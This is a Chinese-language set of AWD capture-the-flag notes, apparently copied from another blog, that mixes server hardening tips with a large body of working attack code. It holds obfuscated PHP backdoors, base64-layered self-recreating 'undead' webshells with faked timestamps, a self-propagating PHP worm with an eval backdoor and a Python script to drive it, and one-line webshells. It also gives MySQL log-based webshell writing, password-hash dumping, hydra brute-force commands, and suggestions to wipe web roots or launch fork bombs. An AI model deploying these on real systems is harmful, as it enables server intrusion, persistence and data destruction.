AWD 心得

这是比赛前临时拷贝的一篇文章,已经找不到文章里,如侵请联系我删除,抱歉

这里将这个放到杀不死马的脚本里,杀死该用户下的所有进程,确定好用户名

1
ps aux | grep www-data | awk '{print $2}' | xargs kill -9

这里写一个自动化的脚本会在比赛中更快一点

快速修站
1
scp -r html/ root@ip:/var/www/html/
快速备份
1
scp -r  root@ip:/var/www/html/ `pwd`
比赛方放的后门:比赛方放的后门:
1
2
3
4
5
<?php
file_put_contents('./.config.php', '<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_$_fF("",$_cC);@$_();?>');
system('chmod 777 .config.php');
touch("./.config.php", mktime(20,15,1,11,17,2017));
?>

这里其实就等效为 这种:

1
2
$func =create_function('',$_POST['1']);
$func();
加密后门:

这里自己设置的密码强度要高点,不然可以解密出来还是可以被别人用

1
2
3
4
5
6
7
8
<?php error_reporting(0); 
echo "<h1>Hack by JJJJLLLL</h1>";
if(md5($_POST['pass'])==='6a8d5e254685f7786d500180022fd9fd')
{echo "password is true";
@eval($_POST['cmd']); }
else
{echo "password is flase";
} ?>
利用后门写不死马

这里base64一层一层解码就可以知道原理了

1
2
3
<?php
eval('$a = base64_decode("JGEgPSAiUEQ5d2FIQUtjMlYwWDNScGJXVmZiR2x0YVhRb01DazdDbWxuYm05eVpWOTFjMlZ5WDJGaWIzSjBLREVwT3dwMWJteHBibXNvWDE5R1NVeEZYMThwT3dvS2QyaHBiR1VvTVNsN0NpQWdJQ0JsZG1Gc0tDY2tZU0E5SUdKaGMyVTJORjlrWldOdlpHVW9Ja3BIUldkUVUwRnBWVVZSTldReVJrbFJWMlJoVjBWd05WbHFUa3RhYlU1MFZtNWthVTB3YjNkWlZtTXhZbXQwUlZGWVFsQmxWVVpNVjJ4a1QySXlTalZSVjJ4UlVqSmtORlZIZEc5aFJtdDVZekprV21KdGRHNVZNblIzVXpGT2NtVkZNVlZTV0dNMFZFUktibVZHUW5CVFZHUktVVmhDZDFkdGJHOWtSbkJGVmxjNVMxSnFiRkpXUkVaUFZsWmtOVnBJWkZwWFJUVTJVMnBGZDJOR1FsVk5SR3hMWld4d2IxUXdaRkpOVm5CVlUxUkdUMUpHYXpCVWJHUmFUVEExTmxwNlNtRlNSbFl6VkZWU1JrNUZNVVZSV0d4T1lsWndjbFF4WkdGaE1IQTFZVEIwYkUxc1duRlpWV00wV2pCc2RWRnRhR3BOTURSNldXcE9TMkV3YkVoaVNIQktVMFpLTlZwR1pGWmhWVGt6WTBWR1lWZEdjRzlaYTA1dVlURm5lRkZzUWxaTlZrcHBVMnBLVDJSR2NFUmFSMUpNVmtoT2JscHNUa0pUTVhCWVpVaHdZVlZZUVROWGJHUlBZakpLTlZGWGJHcFNNRm8yV1hwT2EyUnRUblJWVjJSb1YwVXhibGR0TVRSaFIwMTVWbGRzVUdRelFUVlRWVTVDVERGQ2JsQlVNR2xQZVVGcldWTkJPVWxIU21oak1sVXlUa1k1YTFwWFRuWmFSMVZ2U2tkRmNFOHlWbXBoUnpoblNrZEZOMXB0YkhOYVZqbDNaRmhTWmxreU9YVmtSMVoxWkVoTmIwbHBOSFpNYlVveFpGZE9kbUp0V25CYWVUVjNZVWhCYVV4RFVtaExWSE05SWlrN1pYWmhiQ2dpSkdFaUtUc25LVHNLSUNBZ0lITjVjM1JsYlNnblkyaHRiMlFnTnpjM0lDNWlkV052Ym1acFp5NXdhSEFuS1RzZ0NpQWdJQ0IwYjNWamFDZ2lMbUoxWTI5dVptbG5MbkJvY0NJc0lHMXJkR2x0WlNneU1Dd3hOU3d4TERFeExERTNMREl3TVRjcEtUc2dDblZ6YkdWbGNDZ3hNREFwT3dwOVB6ND0iOyAkYSA9IGJhc2U2NF9kZWNvZGUoJGEpO2VjaG8gJGE7ZmlsZV9wdXRfY29udGVudHMoIi4vLmJ1Y29uZmlnLnBocCIsJGEpOw==");eval("$a");');
?>

不死马的文件是.buconfig.php
不死马写的加密后门是 .buuconfig.php

蠕虫木马:

这里确保行数与$Serv_Num变量值相同 。

$tips = ‘AWD_Light_Check’;所在的行号与if (!strpos($ftarget[1], ‘AWD_Light_Check’)) { 这里下标一致,不然识别不到。

这个蠕虫木马好像有点缺陷,不能往目录里的文件感染。而且杀这个蠕虫的方法就是直接重新把网站部署一下就可以了,后期有时间如果可以的话,想办法改造成不死的。

这里我进行了改编,因为原本那个涉及了些加密,还没搞懂加密原理(捂脸),所以用了比较简约的md5加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<?php
$tips = 'AWD_Light_Check';
error_reporting(0);
$Serv_Num = 105;
$arr_dir = array();
$files = array();
if (!function_exists('Url_Check')) {
function Url_Check()
{
$pageURL = 'http';
if ($_SERVER["HTTPS"] == "on") {
$pageURL .= "s";
}
$pageURL .= '://';
$pageURL .= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"];
return $pageURL;
}
function file_check($dir)
{
global $arr_dir;
global $files;
if (is_dir($dir)) {
if ($handle = opendir($dir)) {
while (($file = readdir($handle)) !== false) {
if ($file != '.' && $file != "..") {
if (is_dir($dir . "/" . $file)) {
$arr_dir[] = $dir;
$files[$file] = file_check($dir . "/" . $file);
} else {
$arr_dir[] = $dir;
$files[] = $dir . "/" . $file;
}
}
}
}
}
closedir($handle);
$arr_dir = array_unique($arr_dir);
}
function write_conf()
{
global $Serv_Num;
global $arr_dir;
foreach ($arr_dir as $dir_path) {
// echo '<br>'.$dir_path;
$srcode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$srcode .= $localtext[$i];
}
$le = Url_Check();
echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>';
fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode);
}
}
function vul_tran()
{
global $Serv_Num;
$pdir = dirname(__FILE__);
if (is_dir($pdir)) {
if ($dh = opendir($pdir)) {
while (($fi = readdir($dh)) != false) {
$file_Path = $pdir . '/' . $fi;
if (strpos($file_Path, '.php')) {
$le = Url_Check();
$file_Path = str_replace('\\', '/', $file_Path);
echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>';
$ftarget = file($file_Path);
if (!strpos($ftarget[1], 'AWD_Light_Check')) {
$scode = '';
$localtext = file(__FILE__);
for ($i = 0; $i < $Serv_Num; $i++) {
$scode .= $localtext[$i];
}
$code_check = '';
$file_check = fopen($file_Path, "r");
while (!feof($file_check)) {
$code_check .= fgets($file_check) . "\n";
}
fclose($file_check);
$webpage = fopen($file_Path, "w");
fwrite($webpage, $scode . $code_check);
fclose($webpage);
}
}
}
closedir($dh);
}
}
}
}
try {
if (isset($_GET['_'])) {
$host = Url_Check();
file_check($_SERVER['DOCUMENT_ROOT']);
write_conf();
vul_tran();
} elseif (isset($_POST['pass'])&&md5($_POST['pass'])=="7304e7deff176e00821e9f10eebe2a92") {
eval($_POST['cmd']);
} else {
header('HTTP/1.1 500 Internal Server Error');
}
} catch (Exception $e2) {
}
利用这个蠕虫的脚本:

这里只针对了一个,但是awd中针对的比较多,还可以改造成针对所有人的攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time


def mingling(uurl,cmd):
url = uurl
url1 = uurl + "?_="
print(url1)
b = requests.get(url=url1)
# 攻击模块
ming = 'system("' + cmd + '");echo "HHHLLL";'
print(ming)
data = {
'pass': 'ij378cmkj1202',
'cmd': ming
}
a = requests.post(url=url, data=data)
if "HHHLLL" in a.text:
print(a.text)
print("命令执行 success")
else:
print("命令执行 失败")
uurl = input("请输入蠕虫木马url")
cmd = input("请输入你要执行的命令")
mingling(uurl,cmd)
权限维持之不死马

简单不死马:

1
2
3
4
5
6
7
8
9
10
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将后台运行
unlink(__FILE__); //删除自身

while(1)
{
file_put_contents('shell.php','<?php @eval($_POST["AabyssTeam"]);?>'); //创建shell.php
sleep(0); //间隔时间
}

可以通过不断复写 shell.php 来达到该木马难以被使用的效果

防连接不死马:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
set_time_limit(0); // 取消脚本运行时间的超时上限
ignore_user_abort(1); //

while(1)
{
file_put_contents('shell.php','<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>'); //创建shell.php
sleep(0);
}

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

进阶不死马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 09:10:12" shell.php'); //修改时间,防止被删
usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为 shell.php 的WebShell文件

双重不死马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php';
$code = '<?php if(md5($_POST["passwd"])=="8c7d608cbb4c63f32be59a9ba8c9f49d"){@eval($_REQUEST["cmd"]);} ?>';

while (1){
file_put_contents($file,$code);
system('touch -m -d "2020-12-01 18:10:12" .login.php');
file_put_contents($file1,$code);
system('touch -m -d "2020-12-01 18:10:12" /admin/.register.php');
usleep(5000);
}
?>

//passwd=AabyssTeam
//POST传参:passwd=AabyssTeam&cmd=system('ls');

浏览器访问写入的WebShell,会自动生成两个不死马: .login.php/admin/.register.php

免杀马

1
2
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system&__=whoami 来执行whoami命令
<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]); //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell

常见一句话木马

1
2
3
PHP: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
Asp: <%eval request ("pass")%>
Aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

##防御不死马

方法一:kill进程

这个方法应该是目前最好的解决方案了,新建一个文件,比如del.php, 写上杀进程的命令,访问后即可删除不死马

1
2
3
4
5
6
7
8
9
10
11
www-data         //使用的时候注意用户不一定是www-data,根据实际情况来
<?php
system("kill `ps aux | grep www-data | awk '{print $2}' | xargs kill -9`");

php-fpm //杀php-fpm进程
<?php
system("kill `ps -ef | grep php-fpm | grep -v grep | awk '{print $2}'`");

php-apache //杀httpd进程
<?php
system("kill `ps -ef | grep httpd | grep -v grep | awk '{print $2}'`");

shell-4

方法二:创建一个和不死马生成的马一样名字的目录
对自己的防御不放心的话可以提前创建几个常用马名字的文件夹,比如m.php,shell.php

编写一个shell脚本

1
2
3
#!/bin/bash
cd /var/www/html/
while true;do rm -rf .l.php;mkdir .l.php;done

方法三:竞争写入无意义的一句话
usleep值比对方马的值低就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.l.php';
$code = '<?php echo "lewiserii" ?>';
while (1){
file_put_contents($file,$code);
//system('touch -m -d "2018-12-01 09:10:12" .l.php');
//usleep(1000);
usleep(0);
}
?>

对于加—的不死马

这种方式就有些骚了

这个应该算是比较冷门的知识点了,想要操作也很简单,在文件前加上两个--就可以了,表示转义字符,或者形如./-index.php

搅屎棍:在不死马中添加rm -rf /var/www/html/*;或者创建大量无意义的文件;或者制作fork炸弹等等

抓流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$ip = $_SERVER["REMOTE_ADDR"]; //记录访问者的ip
$filename = $_SERVER['PHP_SELF']; //访问者要访问的文件名
$parameter = $_SERVER["QUERY_STRING"]; //访问者要请求的参数
$method = $_SERVER['REQUEST_METHOD']; //请求方法
$uri = $_SERVER['REQUEST_URI']; //请求URI
$time = date('Y-m-d H:i:s',time()); //访问时间
$post = file_get_contents("php://input",'r'); //接收POST数据
$others = '...其他你想得到的信息...';
$logadd = 'Visit Time:'.$time.' '.'Visit IP:'.$ip."\r\n".'RequestURI:'.$uri.' '.$parameter.'RequestMethod:'.$method."\r\n";
// log记录
$fh = fopen("/tmp/log.txt", "a+");
fwrite($fh, $logadd);
fwrite($fh, print_r($_COOKIE, true)."\r\n");
fwrite($fh, $post."\r\n");
fwrite($fh, $others."\r\n");
fclose($fh);
?>

安全加固环节

2.0.1 Windows加固流程

先备份:Web源码、数据库

  1. 445加固,开启防火墙或IP高级安全策略
  2. 开启系统日志审计功能
  3. 禁用guest账户、关闭文件共享
  4. 确保启动项内容是可控的
  5. 限制3389远程访问控制的连接数:在本地组策略编辑器里面,依次展开计算机配置–>管理模板–>Windows组件–>远程桌面服务–>远程桌面会话主机–>连接–>限制连接的数量
  6. 使用工具监控关键目录文件:文件操作监控.exe、御剑文件监控.exe
  7. 恶意代码文件,通过PCHunter、Monitor查找
  8. Web目录环境查找相关可疑文件:jpg/png/rar,查看属性、解压看文件内容
  9. NTFS扫描磁盘查找隐藏的交换流数据
  10. 查找系统所有账户信息,禁止非Administrator账户
  11. 修改Web站点管理员访问路径、默认口令、数据库口令
  12. 安装WAF脚本,防护Web站点,禁止其他漏洞
2.0.2 Linux加固流程

先备份:Web源码、数据库

  1. 系统口令修改,团队统一口令
  2. 通过 .bash_history 查找历史命令操作,发现痕迹
  3. 查看计划任务:crontab -l;编辑计划任务:crontab -e
  4. 查看 /etc/init.d/rc.local 中启动服务有无异常
  5. 使用脚本开启进程监控、目录监控、流量监控
  6. Web站点口令,站点管理员路径修改
  7. 系统加固:iptable

2.1# 基本信息搜集

在防守的时候,信息搜集也很重要,正所谓“知己知彼,百战不殆”

2.1.1 明确Linux机器信息
1
2
3
4
5
6
7
8
uname -a                       //系统信息
ps -aux //查询进程信息
ps -ef | grep 进程名称 //筛选指定进程
id //用于显示用户ID,以及所属群组ID
cat /etc/passwd //查看用户情况
ls /home/ //查看用户情况
find / -type d -perm -002 //可写目录检查
ifconfig //Linux上查看网卡信息
2.1.2 明确Windows机器信息
1
2
whoami /all                    //Windows上查看用户详细信息
ipconfig /all //Windows上查看网卡信息
2.1.3 查看开放端口
1
2
3
4
5
netstat                                                       //查看活动连
netstat -ano/-a //查看端口情况
netstat -anp //查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent //关闭端口
firewall-cmd –reload //防火墙重启
2.1.4 默认口令(弱口令)更改

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

还有其他默认密码admin,top100, top1000等

尤其是WEB应用的后台密码修改

1
2
3
4
passwd username                                                  //ssh口令修改

set password for mycms@localhost = password('18ciweufhi28746'); //MySQL密码修改
find /var/www//html -path '*config*’ //查找配置文件中的密码凭证
2.1.5 找本地Flag
1
2
3
grep -r "flag" /var/www/html/  //Linux:在Web目录下查找flag

findstr /s /i "flag" *.* //Windows:当前目录以及所有子目录下的所有文件中查找"flag"这个字符串
2.1.6 设置禁Ping
1
2
echo "1" > /proc/sys/net/ipv4/icmp_echo_ignore_all     //临时开启禁ping
echo "0" > /proc/sys/net/ipv4/icmp_echo_ignore_all //关闭禁ping

2.2# Web安全加固

2.2.1 备份源码

防止在对源码进行修改时出问题,或者被攻击方删除源码而准备

压缩源码:

1
2
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压缩源码:

1
2
tar -xvf web.tar -c /var/www/html/*
unzip web.zip -d /var/www/html

备份源码:

1
2
mv web.tar /tmp
mv web.zip /home/xxx

上传和下载源码:

1
2
3
4
5
6
scp username@servername:/path/filename /tmp/local_destination  //从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path //从本地上传单个文件到服务器

scp -r username@servername:remote_dir/ /tmp/local_dir //从服务器下载整个目录到本地

scp -r /tmp/local_dir username@servername:remote_dir //从本地上传整个目录到服务器
2.2.2 设置只读权限

对Web文件设置只读和执行权限(PHP等动态语言需要执行权限)

1
2
3
chmod 0555 /var/www/html/*

chmod 0555 /var/www/html/*.php

Web根目录设置只读和执行权限

1
chmod 0555 /var/www/html

改变文件的属主和属组来设置严格的权限

1
2
3
4
chown -R root:root /var/www/html/        //设置拥有人为 root:root 或 httpd:httpd (推荐)


chown -R apache:apache /var/www/html/ //确保 apache 拥有 /var/www/html/
2.2.3 配置 .htaccess

利用 .htaccess 配置文件禁止php文件执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<Directory "/var/www/html/upload">   //指定目录后续的指令将应用于该目录

Options -ExecCGI -Indexes //禁用了目录中的 CGI 执行和目录索引(显示目录内容列表)功能。

AllowOverride None //不允许在该目录中使用 .htaccess 文件来覆盖服务器的配置。
RemoveHandler .php .phtml .php3 .pht .php4 .php5 .php7 .shtml
RemoveType .php .phtml .php3 .pht .php4 .php5 .php7 .shtml

//这两个指令移除指定文件扩展名的处理器和类型。

//在这种情况下,这些指令从 Apache 的处理列表中移除了与 PHP 相关的扩展名和服务器端包含(SSI)文件类型。
php_flag engine off //这个指令将 PHP 的引擎标志(engine)设置为关闭状态,从而禁用了在该目录中执行 PHP 脚本的能力。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">

deny from all

</FilesMatch> //这三行命令使用正则表达式匹配了以 .php、.phtml、.php3、.pht、.php4、.php5、.php7、.shtml 结尾的文件,并将其访问权限设置为拒绝所有

</Directory>
2.2.4 PHP参数安全配置

首先找到PHP的配置文件

1
/etc/php/{version}/php.ini

禁用高危函数

1
disable_functions = dl,exec,system,passthru,popen,proc_open,pcntl_exec,shell_exec,mail,imap_open,imap_mail,putenv,ini_set,apache_setenv,symlink,link

配置 open_basedir (将用户访问文件的活动范围限制在指定的区域)

1
open_basedir=/var/www/html

禁用魔术引号(自动对外部来源数据进行转义,防止SQL注入)

1
magic_quotes_gpc = Off

关闭PHP伪协议

1
2
allow_url_fopen = Off
allow_url_include = Off

重启PHP

1
2
sudo service php7.0-fpm restart
sudo systemctl restart php7.0-fpm.service

2.3# 数据库安全加固

2.3.1 Mysql加固

为了防范弱口令攻击,Mysql密码默认都是root,phpstudy默认密码123456

  1. 不使用默认口令,修改成复杂的,并确保和web环境连接
  2. 设置只允许本地127.0.0.1账户登录:修改 bind-address=127.0.0.1 ;在配置文件中加入 seccure_file_priv=NULL
  3. 开启日志审计功能:general_log_file=路径

因为最常用的是Mysql数据库,所以基本的攻防大部分都是用MySql数据库的命令

备份指定数据库:

1
mysqldumpu usernamep password databasename > target.sql

备份所有数据库:

1
mysqldump –all -databases > all.sql

导入数据库:

1
mysql –u username –p password database < from.sql

对于MySQL的攻防,可以看这篇文章:MySQL不出网文件落地上线姿势 - AabyssZG’s Blog

MySQL默认配置文件路径:

1
2
3
4
C:\\Program Files\MySQL\MySQLServer 5.1\my.ini   //Windows

/etc/my.cnf //Linux
/etc/mysql/my.cnf //Linux

修改 secure_file_priv 参数(日志功能的对应目录)

1
secure_file_priv=""

重载MySQL配置

1
FLUSH PRIVILEGES

重启MySQL服务

1
2
sudo service mysql restart
sudo systemctl restart mysql
2.3.2 Mssql加固
  1. 删除不必要的账号
  2. SQLServer用户口令安全
  3. 根据用户分配帐号避免帐号共享
  4. 分配数据库用户所需的最小权限
  5. 网络访问限制
  6. SQLServer登录审计
  7. SQLServer安全事件审计
  8. 配置日志功能

2.4# 远程控制加固

2.4.1 SSH安全加固

限制IP登录方法

1
2
3
4
5
sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件



AllowUsers username@192.168.0.100 //找到并编辑以下行,确保其取消注释并设置为所需的IP地址

禁用 root 远程登录

1
2
3
4
5
sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件



PermitRootLogin no //将PermitRootLogi设置为“no”

按用户和组限制SSH登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo nano /etc/ssh/sshd_config       //以root权限编辑SSH配置文件



AllowUsers testuser //设置只允许 testuser 登录SSH



AllowUsers testuser@192.168.1.100 //设置只允许 192.168.1.100 的机器用 testuser 账户登录SSH



AllowGroups test //设置用户组白名单



//需要注意的是:如果同时指定了 AllowUsers 与 AllowGroups 那么必须要在两个选项中都匹配到的用户才能进行SSH登录

重启SSH服务

1
2
3
4
5
sudo service sshd restart



sudo systemctl restart sshd.service
2.4.2 RDP远程登录安全加固

删除默认帐户并手动添加新用户:

  • 步骤1:按 Win + R 打开运行对话框,输入 secpol.msc 并单击 “确定”
  • 步骤2:导航至此处:本地策略–>用户权限分配,再双击打开 “允许通过远程桌面服务登录”
  • 步骤3:删除此窗口中列出的管理员和远程桌面用户(或计算机上的任何其他用户或组)
  • 步骤4:之后单击 “添加用户或组” 并手动添加您要授予远程桌面访问权限的用户

更改默认RDP端口号:

  • 步骤1:打开运行对话框,输入 regedit 并单击 “确定”
  • 步骤2:打开 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp ,向下滚动并找到 PortNumber 然后双击它
  • 步骤3:选择 “十进制”,修改为您想要设置的端口号,然后单击 “确定”

2.5# 应急响应

2.5.1 查询进程线程
1
2
3
4
5
6
7
8
9
netstat



ps -aux



netstat -apt
2.5.2 杀掉进程
1
2
3
4
5
kill -9 pid            //Linux上



taskkill /f /pid pid //Windows上
2.5.3 搜索WebShell文件
1
2
3
4
5
6
7
8
9
10
11
12
13
find /var/www/html -name *.php -mmin -5                        //查看最近5分钟修改文件



find ./ -name '*.php' | xargs wc -l | sort -u //寻找行数最短文件,一般有可能是一句话木马



grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html //查包含关键字的php文件



find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more //在Linux系统中使用find、grep和xargs命令的组合,用于在指定目录(/var/www/html)下查找所有以.php为扩展名的文件,并搜索这些文件中包含字符串"eval("的行,并使用more命令来分页显示结果以便在输出较长时进行逐页查看
2.5.4 查杀不死马

也可以利用命令自动进行查找删除

1
ps -aux | grep www-data | grep -v grep | awk '{print $2}' | xargs kill -9

然后重启服务

1
service php-fpm restart
2.5.5 杀弹反弹shell

老规矩查看进程

1
2
3
4
5
6
7
8
9
ps -ef



px -aux



ps -aux | grep www-data

注意 www-data 权限的 /bin/sh,很有可能是nc

再就是上老一套命令

1
kill ps -aux | grep www-data | grep apache2 | awk '{print $2}'

3# 自由攻击环节(Attack)

3.0# 主要准备内容

  1. 各类CMS软件包最新版准备
  2. 扫描工具:Nmap、Nessus、Metasploit更新
  3. 漏洞利用脚本Poc、Exp

3# 自由攻击环节(Attack)

3.0# 主要准备内容

  1. 各类CMS软件包最新版准备
  2. 扫描工具:Nmap、Nessus、Metasploit更新
  3. 漏洞利用脚本Poc、Exp

3.1# 基本信息搜集

3.1.1 主机信息搜集

Nmap

1
namp -sn 192.168.0.0/24            //C段存活扫描

httpscan

1
httpscan.py 192.168.0.0/24 –t 10   //C段存活扫描
3.1.2 端口扫描
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -sV 192.168.0.2               //扫描主机系统版本



nmap -sS 192.168.0.2 //扫描主机常用端口



nmap -sS -p 80,445 192.168.0.2 //扫描主机部分端口



nmap -sS -p- 192.168.0.2 //扫描主机全部端口

Python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests







for x in range(2,255):



url = "http://192.168.1.{}".format(x)



try:



r = requests.post(url)



print(url)



except:



pass

3.2# 外部打点

3.2.0 常见系统漏洞
3.2.1 中间件漏洞
  • IIS(解析漏洞、远程代码执行)
  • Apache(解析漏洞)
  • Nginx(解析漏洞)
  • Jboss(CVE-2017-7504/CVE-2017-12149/CVE-2015-7501)
  • Mysql(弱口令)
  • Tomcat(弱口令Getshell)
  • Weblogic(CVE-2020-2551/CVE-2020-2555/CVE-2020-2883)
  • SpringBoot(未授权访问漏洞和RCE漏洞,具体可看对于Spring Boot的渗透姿势 - AabyssZG’s Blog
3.2.2 集成服务环境漏洞
  • wampserver
  • xamppserver
3.2.3 CMS漏洞利用

搜集最新版本的CMS,以及对应的漏洞Poc和Exp,这里仅仅列举部分CMS:

  • Aspcms
  • Dedecms
  • Dicuz
  • Drupal
  • Empirecms
  • Eshop
  • Finecms
  • Joomla
  • Lamp
  • Metainfo
  • Phpcms
  • Phpwind
  • Qibocms
  • Seacms
  • Semcms
  • ThinkPHP
  • Wolfcms
  • Wordpress
  • Zabbix

备份文件爆破:使用7kbScan等目录扫描工具对Web系统进行爆破

3.2.4 上传WebShell

常见一句话木马

1
2
3
4
5
6
7
8
9
PHP: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);



Asp: <%eval request ("pass")%>



Aspx: <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

Get型木马

1
<?php eval($_GET['pass']);           //利用方式/shell.php?pass=eval($_POST[1]);

免杀马制作:GitHub - AabyssZG/WebShell-Bypass-Guide: 从零学习Webshell免杀手册

1
2
3
4
5
<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);                            //执行GET传参 ?_=system&__=whoami 来执行whoami命令



<?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]); //执行GET传参 ?_=assert 和POST传参 __=PHP代码来GetShell

隐藏的文件读取

1
2
3
4
5
<?php



header(php'flag:'.file_get_contents('/flag'));

条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现

3.2.5 利用WebShell

curl(跟hackbar差不多)

1
2
3
4
5
C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"



//向shell.php文件里传入参数并返回结果

Python多端口传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#coding=utf-8



import requests







url_head="http://192.168.182.130" #网段



url=""



shell_addr="/upload/url/shell.php" #木马路径



passwd="pass" #木马密码



#port="80"



payload = {passwd: 'System(\'cat /flag\');'}



# find / -name "flag*"







#清空上次记录



flag=open("flag.txt","w")



flag.close()



flag=open("flag.txt","a")







for i in range(8000,8004):



url=url_head+":"+str(i)+shell_addr



try:



res=requests.post(url,payload)#,timeout=1



if res.status_code == requests.codes.ok:



result = res.text



print (result)



flag.write(result+"\n")



else:



print ("shell 404")



except:



print (url+" connect shell fail")







flag.close()
3.2.6 MySQL数据库利用

具体可以看这篇文章:MySQL不出网文件落地上线姿势 - AabyssZG’s Blog

1、查看MySQL版本

1
2
3
4
5
show variables like '%version%';



select version(); #这个只显示MySQL版本号

2、查看 load_file() 开启状态

1
2
3
4
5
show variables like '%secure%';       #这条可查看详细信息



show global variables like '%secure_file_priv%';

3、查看日志功能是否开启和对应目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SHOW VARIABLES LIKE 'general%';



set global general_log = "ON";



set global general_log_file='/var/www/html/test.php'; #可以写入WebShell然后直接连接蚁剑







# 往日志里面写入 WebShell



select '<?php @eval($_POST['AabyssTeam']);?>';



# 此时已经写到 test.php 文件当中了,注意这个要知道网站的具体路径才可以实现

小技巧:获取MySQL账户和对应密码Hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# MySQL <= 5.6 版本



select host, user, password from mysql.user;







# MySQL >= 5.7 版本



select host,user,authentication_string from mysql.user;
3.2.7 弱口令爆破

爆破SSH密码

1
2
3
4
5
6
7
8
9
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ssh



hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100



hydra -L 用户名字典.txt -P 密码字典.txt ssh://192.168.1.100 -s 40 //40是⽬标服务开放的端⼝

爆破FTP密码

1
2
3
4
5
hydra -L 用户名字典.txt -P 密码字典.txt 目标IP地址 ftp



hydra -L 用户名字典.txt -P 密码字典.txt ftp://192.168.1.100/

爆破RDP远程桌面密码

1
hydra 目标IP地址 rdp -l administrator -P 密码字典.txt -V

爆破Telnet

1
